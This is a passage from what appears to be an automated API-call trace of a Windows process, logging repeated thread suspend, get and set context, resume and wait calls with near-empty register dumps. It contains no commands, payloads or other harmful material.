[0079.434] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001115a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1315000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0079.538] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001115a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0079.645] ResumeThread (hThread=0x118) returned 0x1
[0079.645] CloseHandle (hObject=0x118) returned 1
[0079.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.683] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.726] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.803] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.879] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0079.880] SuspendThread (hThread=0x118) returned 0x0
[0079.880] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1337d40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0079.952] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0080.022] ResumeThread (hThread=0x118) returned 0x1
[0080.022] CloseHandle (hObject=0x118) returned 1
[0080.022] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.056] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.092] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.178] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.372] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0080.372] SuspendThread (hThread=0x118) returned 0x0
[0080.373] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111ab8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x133f700, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, 